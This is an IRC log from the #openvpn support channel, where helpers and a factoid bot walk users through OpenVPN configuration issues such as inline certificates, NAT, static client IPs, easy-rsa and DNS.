03:54 <@krzee> (assuming i have a client cert from your ca)
03:55 -!- tkl2 [~tkl2@ip-109-40-45-211.web.vodafone.de] has quit [Quit: Verlassend]
03:56 <@krzee> so test that, and if you start getting the same error on the pc client then we found the issue
03:58 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
04:03 <@krzee> lesterc1, i can tell you that in freebsd the tun gets made on the host and the container is given access to the hosts' tun device
04:03 <@krzee> i *really* dont know if that helps any, but heres the 100% unrelated freebsd info
04:03 <@krzee> !fbsdjail
04:03 <@vpnHelper> "fbsdjail" is <thei0s> krzie: if you are interested in the solution: I needed to add to hosts rc.conf the creation of tun0 device, create a special devfs ruleset with tun0 unhiden, configure that it is used in the devfs mount point inside chroot in my jail and specify openvpn --dev tun0 parameter and it seems that this is it... so, thank you for assistance and ideas
04:05 < lesterc1> krzee: hah thanks. I like freebsd but for this I box I need to run Linux.. :)
04:09 -!- lesterc1 [~lesterc@1.130.67.11] has quit [Read error: Connection reset by peer]
04:09 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 248 seconds]
04:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
04:15 < pfui> krzee: okay, I've rebuilt my keys. laptop seems to work fine, openvpn connects but doesn't route traffic through the vpn, and arne's connects but I don't get any internet access...
04:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
04:15 -!- mode/#openvpn [+o plaisthos] by ChanServ
04:15 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 245 seconds]
04:16 -!- lesterc1 [~lesterc@1.130.67.11] has joined #openvpn
04:17 < pfui> krzee: and you were right about remote-cert-tls, its toggeled on by default in arne's openvpn client
04:18 <@krzee> ok so now
04:18 <@krzee> !redirect
04:18 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
04:18 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
04:19 <@plaisthos> pfui: thought that was a good idea!
04:20 < pfui> finally!
04:20 -!- lesterc1 [~lesterc@1.130.67.11] has quit [Read error: Connection reset by peer]
04:21 < pfui> for the love of all that is holy, why can't we have a one click configuration for openvpn?
04:22 < pfui> krzee: thanks! :D
04:22 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
04:22 <@krzee> np
04:23 <@krzee> pfui, cause not everyone wants the same thing, im on 6 vpns right now and none are configured how you want yours configured
04:23 <@krzee> plus, openvpn is just a link between 2 machines, when you want all that extra stuff most of the configuring is outside the scope of openvpn
04:25 <@krzee> goodnight
04:26 < pfui> yeah, I was just exaggerating
04:27 <@plaisthos> You would be astonished how many people are out there without any remote cert verification
04:29 < pfui> plaisthos: so why isn't it a default setting when generating server keys?
04:34 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:38 -!- pfui [~hkotri@41.38.82.94] has quit [Ping timeout: 245 seconds]
04:43 -!- suprMan2` [~clark_ken@83-136-61-8.wimax.bb.zain.com] has joined #openvpn
04:47 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 252 seconds]
04:49 -!- suprMan2` [~clark_ken@83-136-61-8.wimax.bb.zain.com] has quit [Quit: suprMan2` is outta here! Ciao!]
05:12 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
05:18 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
06:03 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
06:11 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
06:20 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
06:30 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Ping timeout: 246 seconds]
06:35 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
06:35 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: No route to host]
06:36 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
06:37 -!- Devastator [~devas@186.214.14.178] has joined #openvpn
06:37 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
06:39 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 240 seconds]
06:40 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
06:42 -!- agagaa [~agagaa@p12098.static.kfki.com] has joined #openvpn
06:42 -!- agagaa [~agagaa@p12098.static.kfki.com] has quit [Client Quit]
06:43 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
06:44 -!- julius_ [~julius@141.41.246.5] has joined #openvpn
06:44 < julius_> hi
06:45 < julius_> ive enabled openvpn on my router and my clients can use the openvpn without having openvpn software installed. but is there a way to make all clients reachable via 10.8.0.x so i can connect from outside to these pcs behind the openvpn client?
06:46 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has joined #openvpn
06:47 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 256 seconds]
06:47 < Roklobsta> quick q, when running openvpn i have to run as administrator otherwise the route is not added.
06:47 < Roklobsta> trouble is i am already logged in as the network admin.
06:48 < Roklobsta> wtf
06:48 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
06:48 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Client Quit]
06:51 < Roklobsta> ass PEBKAC   default service user is not admin
06:51 < Roklobsta> start service with network admin user acount it's ok.  what a pratfall
07:03 -!- Devastator [~devas@186.214.14.178] has quit [Changing host]
07:03 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
07:19 -!- mirco [~mirco@p50800EA7.dip0.t-ipconnect.de] has quit [Quit: mirco]
07:22 -!- You're now known as ecrist
07:44 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
07:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
08:01 -!- lesterc1 [~lesterc@101.170.50.73] has joined #openvpn
08:01 -!- g0z_ is now known as G0z
08:01 -!- G0z is now known as g0z
08:01 -!- g0z [gauze@entropy.tmok.com] has quit [Changing host]
08:01 -!- g0z [gauze@bitchx/distort/g0z] has joined #openvpn
08:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:16 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has quit [Ping timeout: 240 seconds]
08:20 -!- Devastator [~devas@unaffiliated/devastator] has quit [Remote host closed the connection]
08:21 -!- Devastator [~devas@186.214.14.178] has joined #openvpn
08:21 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has joined #openvpn
08:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
08:32 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has quit [Ping timeout: 252 seconds]
08:33 -!- lesterc2 [~lesterc@212.4.233.220.static.exetel.com.au] has joined #openvpn
08:33 -!- lesterc1 [~lesterc@101.170.50.73] has quit [Read error: Connection reset by peer]
08:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:36 -!- julius_ [~julius@141.41.246.5] has quit [Remote host closed the connection]
08:36 < lesterc2> krzee: can you believe that my problem was caused by a mistyped netmask? sigh!
08:37 < lesterc2> just for the record - openvpn server works perfectly in a lxc container.
08:37 < Roklobsta> lesters-xcellent-container?
08:38 < lesterc2> Very funny Roklobsta
08:38 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
08:40 -!- copper [~copper@unaffiliated/copper] has left #openvpn []
08:41 < lesterc2> now next hundle - how come the ios app doesn't read ovpn profiles with inline certs?
08:41 <@plaisthos> it should
08:41 <@ecrist> it does
08:41 < lesterc2> I'm following the format as described in http://serverfault.com/questions/483941/generate-an-openvpn-profile-for-client-user-to-import
08:41 <@vpnHelper> Title: Generate an OpenVPN profile for client user to import - Server Fault (at serverfault.com)
08:41 <@ecrist> follow the format listed in the man page
08:41 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
08:41 < lesterc2> i tested the profile works with tunnelblick on osx.
08:41 <@plaisthos> lesterc2: yeah that syntax is kinda broken
08:42 < lesterc2> the cert is protected by a password - should it matter?
08:42 <@ecrist> nope
08:42 <@ecrist> follow man page syntax, and it'll be fine
08:42 <@plaisthos> instead of ca [inline] you could also write ca GARGABE!
08:42 <@plaisthos> and cert nonsense
08:42 < lesterc2> when i open the profile in ios it shows "error loading profile: … Missing/bad files: [inline], [inline], [i...
08:43 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has joined #openvpn
08:43 < lesterc2> so the ios client doesn't check the certs against the ca cert?
08:43 <@ecrist> lesterc2: are you seeing my comments?
08:43 <@ecrist> you're doing a good job of ignoring me
08:44 < lesterc2> I saw that ecrist.
08:44  * lesterc2 reads.
08:45 <@plaisthos> lesterc2: remove the lines with [inline]
08:45 <@plaisthos> these lines are invalid
08:46 <@plaisthos> but the way the parser is programmed it will ignore these lines
08:47 <@ecrist> plaisthos: recall the iOS app is a c++ rewrite, so it might not ignore things it should
08:48 <@plaisthos> yeah
08:48 <@plaisthos> I commented on the stackoverflow post to state that the inline lines should be removed
08:50 <@plaisthos> But I remember the fun parsing the fucked up tls-auth [[inline]] 1 <tls-auth> combination in my config importer
08:54 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 240 seconds]
09:01 -!- rmk0 [~rmk0@unaffiliated/rothwell] has joined #openvpn
09:01 < lesterc2> plaisthos: your comment is not loaded unless people click on more.
09:02 < lesterc2> I got the profile imported but now I got the following error "polarssl error parsing config privae key x509 invalid rsa key tag or value ASN1".
09:02 < lesterc2> found the following post on the forum: https://forums.openvpn.net/topic12803.html
09:02 <@vpnHelper> Title: OpenVPN Support Forum PolarSSL error parsing config private key : OpenVPN Connect (Android) (at forums.openvpn.net)
09:02 < rmk0> 'lo. we have a (non-recursive) name server accessible inside the vpn to allow clients to resolve names of servers inside the vpn. our linux clients use dnsmasq so that they use their own name servers when resolving non-vpn addresses, and the vpn nameserver otherwise... there's no such thing as a dnsmasq for windows 7
09:03 < lesterc2> but i'm guessing the ios client doesn't support pkcs12 files?
09:03 < rmk0> anyone found a pleasant solution to this problem that doesn't involve us resolving ALL dns queries for ALL clients (there are privacy issues too)
09:03 -!- Devastator [~devas@186.214.14.178] has quit [Remote host closed the connection]
09:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
09:09 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:19 <@ecrist> DNS views
09:19 <@ecrist> but, really, this topic is outside the scope of openvpn
09:20 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
09:21 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
09:21 <+rob0> rmk0, link your dnsmasq servers together. You can even run it on Unix clients. I did a writeup about that.
09:22 <+rob0> no idea for Windows, though
09:23 < rmk0> rob0: the only issue is the windows clients, unfortunately
09:23 < rmk0> the linux people are fine with running dnsmasq on their own machines
09:24 < rmk0> OS X clients have a configuration file in /etc that allows them to set name servers per-domain, so they're fine too
09:24 < rmk0> ecrist: yeah, i appreciate it's not openvpn specific, but i wasn't sure who else to ask
09:25 -!- Cubox [cubox@unaffiliated/cubox] has left #openvpn ["WeeChat 0.4.2-rc2"]
09:25 < rmk0> essentially, we only want to be doing dns resolution for our clients when they asking for vpn-internal names. we don't even want to see their queries for anything outside of the vpn for the sake of their privacy
09:25 < rmk0> *they're
09:26 <+rob0> "their" was right :)
09:26 < rmk0> erk, yes
09:26 <@ecrist> at $work, we just put all host names in public DNS, it's not an issue then
09:26 <@ecrist> sure, there's some exposure to internal addressing, but you've gotta be a good guesser
09:28 < rmk0> rob0: oh... was actually correcting "they asking"
09:28 <+rob0> aha! yes!
09:29 <@plaisthos> lesterc2: perhaps people upvote that later ;)
09:30 <+rob0> I doubt you can get competent Windows support, but I bet the Windows resolver has some kind of per-domain feature as well. They implemented a lot of stuff in Windows, but no one knows how to use it!
09:31 < rmk0> rob0: yeah, i'm hoping it has something... still searching
09:32 < rmk0> it seems like a pretty obvious feature to have these days
09:33 < lesterc2> plaisthos: :)
09:34 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
09:40 -!- Devastator [~devas@186.214.14.178] has joined #openvpn
09:43 <@krzee> !inline
09:43 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
09:44 <@krzee> lesterc2, maybe #3 will help, i wrote that after playing with ios/inline
09:44 <@plaisthos> krzee: 3/2 ;)
09:45 < lesterc2> krzee: thanks. I found a post on the forum suggesting converting the key to the rsa format and it worked.
09:46 <@krzee> hahah ya, #3 wont help much :D
09:46 <@krzee> lesterc2, ahh nice
09:47 < lesterc2> I still wonder why openvpn isn't more popular…
09:48 <@plaisthos> Complicated, not included in default, open source, ....
09:48 < lesterc2> it's much easy (to me) compared with ipsec+l2tp.
09:48 <@krzee> lesterc2, it is extremely popular
09:48 <@plaisthos> anything is easy compared to ipsec ;)
09:48 < lesterc2> plaisthos:  lol
09:49  * lesterc2 still plan on getting it setup as a backup.
09:58 -!- lesterc1 [~lesterc@120.158.201.225] has joined #openvpn
10:00 -!- lesterc3 [~lesterc@60-242-49-155.static.tpgi.com.au] has joined #openvpn
10:00 -!- lesterc1 [~lesterc@120.158.201.225] has quit [Read error: Connection reset by peer]
10:01 -!- lesterc2 [~lesterc@212.4.233.220.static.exetel.com.au] has quit [Ping timeout: 245 seconds]
10:01 -!- aegis [~aegis@184.75.223.34] has quit [Ping timeout: 248 seconds]
10:03 -!- master_o1_master [~master_of@p4FD7B58B.dip0.t-ipconnect.de] has joined #openvpn
10:06 -!- master_of_master [~master_of@p4FF24E92.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
10:14 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
10:16 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 245 seconds]
10:18 -!- raidz_away is now known as raidz
10:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:19 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
10:20 -!- MattJ [~matthew@82.152.33.17] has joined #openvpn
10:20 -!- lesterc3 [~lesterc@60-242-49-155.static.tpgi.com.au] has quit [Quit: Leaving.]
10:21 < MattJ> Hi folks. As the topic guesses, I believe my problem is the firewall... I guess my question is, does anyone have, or can point to, a simple way to use iptables to act as a NAT for a VPN with port forwarding?
10:21 <+rob0> !linnat
10:21 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
10:22 < MattJ> Heh, thanks
10:22 <+rob0> if you mean to DNAT through the VPN, routing issues come up
10:22 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 245 seconds]
10:23 < MattJ> No, I need a VPN client to get through to the internet, and allow port forwarding to certain NAT clients
10:23 < MattJ> er, VPN clients
10:33 -!- Devastator [~devas@186.214.14.178] has quit [Changing host]
10:33 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:34 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
10:34 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:40 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
10:43 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:49 <@krzee> matt, the iptables config is the same as if the vpn subnet were a lan and the vpn server is the gateway
10:50 <@krzee> (in case it helps to conceptualize it without a vpn)
10:57 < TheSov> is there a way to get multiple connections to a openvpn server, so that the client end has a static ip?
10:58 <@krzee> TheSov, i can answer each of those separate, not sure how they go together to make 1 question tho
10:58 < TheSov> ok, how can i get a client to have a static ip?
10:59 <@krzee> !static
10:59 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
10:59 < TheSov> hmm but i need it for multiple clients, this would go to all clients no?
11:00 <@krzee> !cccd
11:00 <@krzee> !ccd
11:00 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
11:00 <@krzee> and now i get the original question :D
11:01 < TheSov> 1 more question, can i manually set a static ip on the client end and have it ignore push?
11:01 <@krzee> yes and no, technically your client can do it, but it wont work :D
11:01 < TheSov> ok this complicates matters alot
11:01 <@krzee> the server wont know that client has that ip and wont route to it (this happens internally in the server process)
11:02 < TheSov> hmmm, what if i use bridging?
11:02 <@krzee> dunno, i dont bridge. why do you need clients to ignore the server?
11:02 <+pekster> In tap that will work, yes
11:02 <@krzee> you know that stops firewall rules from mattering unless you customize a --learn-address firewall script
11:02 <+pekster> Clients can also arp-spoof in that case and "steal" another's IP, just like you can on an L2 link
11:02 < TheSov> because i have a bunch of routers, that need to connect to 1 router here. currently we use openvpn but we have some static routes that need to be fixed when they get different ips
11:02 <@krzee> what problem are you trying to solve?
11:03 < TheSov> sometimes they reconnect for whatever reason, the internet goes down or whatnot
11:03 <+pekster> Why would they get different IPs on the VPN network?
11:03 <+pekster> _you_ control the VPN network
11:03 < TheSov> no idea
11:03 <@krzee> so just use static, why does the client need to change ips>
11:03 <@krzee> without the server's permission!?
11:03 < TheSov> they dont need to change but its setup as a pool right now
11:03 <@krzee> so setup static
11:03 < TheSov> thats why i want to change it to static
11:04 <@krzee> your part where you say it complicates matters seems incorrect
11:04 <@krzee> it is a GOOD thing that clients cant just change their ip
11:04 <@krzee> thats not an accident, its a feature!
11:04 < TheSov> right
11:04 < TheSov> ok
11:04 < TheSov> thanks guys!
11:04 <@krzee> tell the server what ip the client should have on the vpn, and it WILL!
11:04 <@krzee> not maybe, it straight up WILL
11:05 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
11:05 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:06 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:31 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:39 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Remote host closed the connection]
11:41 -!- Tatjana [~LittleMin@188.251.13.124] has joined #openvpn
11:46 < Tatjana> Hello. i am really sorry to bother you, but I need to know if there is a free open source OpenVNP SERVER for windows 7 64 bits
11:46 < Tatjana> I am here: http://openvpn.net/index.php/download/community-downloads.html
11:46 <@vpnHelper> Title: Community Downloads (at openvpn.net)
11:46 < Tatjana> that's where I am
11:46 <+pekster> Tatjana: OpenVPN is a GPLv2-licensed product and is completely free to use
11:47 < Tatjana> but the community downloads are servers or clients?
11:47 <+pekster> BOth
11:47 <+pekster> Note that "Access Server" is not free and is sold under a commercial license
11:48 < Tatjana> I noticed that about "Access Server" not being free
11:48 < Tatjana> thank you
11:49 < Tatjana> so this file: openvpn-install-2.3.2-I003-x86_64.exe installs a VPN SERVER correct?
11:49 <+pekster> It istalls OpenVPN; openvpn can be configured as either a peer that connects to another system, or a a server that can serve many clients
11:49 <+pekster> See the !howto if you're new to openvpn (and perhaps the /TOPIC for more helpful resources)
11:50 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
11:51 < Tatjana> ok, thank you
11:51 < Tatjana> I understood now
11:52 < Tatjana> my other question is about certificates generation
11:53 < Tatjana> as i onlt can see a "Generate a static OpenVPN key"
11:53 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
11:53 < Tatjana> I have read somewhere in the documentation there was a separate dopenload for certificates creation.
11:55 < Tatjana> easy-rsa-2.2.0.zip
11:55 <+pekster> !easyrsa
11:55 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
11:55 < Tatjana> I downloaded and unpacked it, but I can not find where to place the folder :)
11:56 < Tatjana> it has batchfiles that assume they are on a path
11:57 < Tatjana> and I can't understand the .bat files well enough to understand what they do
11:58 <+pekster> Thankfully the howto explains how to use easy-rsa for openvpn usage
11:58 <+pekster> Was there a specific part of the instructions you had questions about?
11:59 < Tatjana> "Extract all zip'd files to the OpenVPN home directory"
11:59 < Tatjana> like this? C:\Program Files\OpenVPN\easy-rsa
12:00 <+pekster> If you checked the 'easy-rsa scripts' or such from the openvpn installer, that's where they would be, yes. It doesn't really matter where you put it
12:01 < Tatjana> no, easy-rsa is not included with lastest instalable OpenVPN
12:01 < Tatjana> I had to download separately and I do not know where to place the folder and ot batch files
12:02 < Tatjana> I am 16, please forgive me for not knowing much
12:03 <+pekster> easy-rsa *is* included in the installer
12:03 < Tatjana> ok. thank you
12:03 <+pekster> "OpenVPN RSA Certificate Management Scripts" which you evidently elected not to install; this is fine, but requires you to download easy-rsa (or another tool of your choosing) seperatly to generate your PKI
12:03 < Tatjana> maybe my mistake, I reinstall fresh
12:03 <+pekster> It's not enabled by default, as certain installations don't require it
12:04 < Tatjana> I see it was my mistake
12:04 < Tatjana> I'm sorry
12:04 <+pekster> No worries, you can get it however you'd like
12:04 < Tatjana> I will uninstall and install it again
12:05 < Tatjana> I need a server to connect 2 friends to each other using vpn
12:05 <+pekster> FWIW, the git-master download of easy-rsa contains security improvements not in the latest official release as included with the installer
12:05 < Tatjana> version easy-rsa-2.2.0?
12:05 <+pekster> There are more recent development changes beyond that release
12:05 <+pekster> The git master version is stable enough to use
12:05 < Tatjana> thank you
12:06 < Tatjana> can you please tell me, what is the easiest way for the clients to connect to me?
12:07 < Tatjana> using RSA keypairs, or certificates?
12:07 <+pekster> RSA keypairs are a component of using X509
12:07 <+pekster> ie: you need both
12:07 < Tatjana> I mean, windows has a builtin VPN connection wizzard
12:07 <+pekster> OpenVPN can optionally support a user/pass authentication system, but you need to write the code to do that
12:07 <+pekster> !notcompat
12:07 <@vpnHelper> "notcompat" is (#1) IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible. or (#2) OpenVPN connects only to OpenVPN
12:08 <+pekster> The 'Windows VPN' junk is for L2TP, PPTP, or IPSec, not openvpn
12:08 < Tatjana> I understand
12:08 < Tatjana> thank you
12:16 < Tatjana> Do I need to install TAP Virtual Network Adapter for server instalation?
12:18 <+pekster> Yes
12:19 < Tatjana> thank you
12:23 < Tatjana> openvpn installed. Can I download from git-master the updated version of easy-rsa for windows? or only sources?
12:29 -!- mattock_afk is now known as mattock
12:30 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:32 <+pekster> Click the 'download zip' button
12:32 <+pekster> The sources _are_ the usable release
12:32 <+pekster> (one does not need to "build" scripts)
12:33 < Tatjana> I did sir
12:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:38 < Tatjana> updated from easy-rsa-2.2.0_master
12:40 < Tatjana> thankyou very much
12:40 < Tatjana> I'll do my best to configure it correctly
12:40 < Tatjana> !howto
12:40 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
12:44 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
12:48 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has joined #openvpn
12:50 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has quit [Ping timeout: 264 seconds]
12:56 < g0z> I have a question about server side config, I have a box with a public IP I can connect to, its other interface is on 192.168.0.0/24 (192.168.0.243) and on this network is a DHCP server, how can I get my remote client to get an IP from the server?
12:58 <+pekster> g0z: You really don't want to do that due to issues passing a default gateway to VPN clients. Have openvpn manage a separate IP pool in that case; you also shouldn't bridge unless you need to. See:
12:58 <+pekster> !tunortap
12:58 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
12:58 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
12:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:59 < g0z> hm ok
13:01 -!- Denial [Denial@05417302.skybroadband.com] has quit [Read error: Connection reset by peer]
13:01 < g0z> so I'd have to have some control over the DHCP server then I am guessing to derive this IP pool
13:02 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
13:03 <+pekster> Yup; why on earth are you trying to bridge to a network you evidently don't control?
13:03 <+pekster> Have you considered speaking to the owner of the network first?
13:03 < g0z> guy I'm working for gave me a public IP and a box and said set up VPN on this so you can access the internal network offsite
13:03 < g0z> he is the owner of the network
13:04 <+pekster> Then it sounds like you've failed to properlyplan the network setup very well; try a routed setup
13:04 < g0z> ok
13:06 < g0z> the servers internal interface is getting its IP from dhcp too. I gotta talk to this guy when he's around again
13:09 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
13:21 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
13:21 -!- krapper [krapper@23.21.191.223] has joined #openvpn
13:22 -!- toothe [~mongolian@unaffiliated/toothe] has joined #openvpn
13:22 < toothe> I just installed openvpn on a centos box, but it did not seem to come with sample scripts and all that. How do I get them?
13:22 < toothe> sample scripts used to create the CA key, the openvpn key, and client keys.
13:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:26 <+pekster> !easyrsa
13:26 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
13:26 <+pekster> toothe: ^
13:26 < toothe> there we go :-)
13:26 < toothe> thank you.
13:27 <+pekster> I'd recommend git-master for the security improvements over the latest "official" release
13:27 <+pekster> !learn easyrsa as git-master is recommended due to security improvements (commit ff5bfd1dd8)
13:27 <@vpnHelper> Joo got it.
13:27 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
13:29 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
13:31 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:33 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
13:42 < toothe> you know im not too familiar with github
13:42 < toothe> how is that different than apt-get or yum or the like.
13:44 -!- Tatjana [~LittleMin@188.251.13.124] has left #openvpn []
13:52 <+pekster> Try the "download tar.gz" (or zip for Windows) option
13:52 <+pekster> Unless you're doing development, in which case try the git docs
13:55 < toothe> I did that, but I meant in general.
13:55 < toothe> like, what is the git system.
13:56 <+pekster> Try #git
13:56 < toothe> how do I git there?
13:56 < toothe> ...
13:56 <+pekster> /j #git
13:56 <+pekster> Though you really ought to have read the git docs first...
13:57 <+pekster> http://catb.org/~esr/faqs/smart-questions.html#before
13:57 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
13:59 < toothe> that was a joke.
14:03 <+pekster> I was referring to "what is the git system" and ignored the pointless comment
14:09 -!- kiyor_ [~kiyor@12.13.90.183] has joined #openvpn
14:09 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
14:09 < namidark> I have pfSense setup as my openvpn server in bridged mode - how can i get multicast working across the vpn link (its a tap dev)
14:12 <@ecrist> it "just works"
14:12 -!- kiyor [~kiyor@12.13.90.183] has quit [Ping timeout: 260 seconds]
14:12 <@ecrist> tap device is layer 2, multicast is really a layer 3 protocol
14:13 <+pekster> You naturally need kernel support and a multicast routing daemon running (mrouted(8) would be your tool there)
14:13 <+pekster> OpenVPN doesn't care what you send over a tap, including multicast traffic
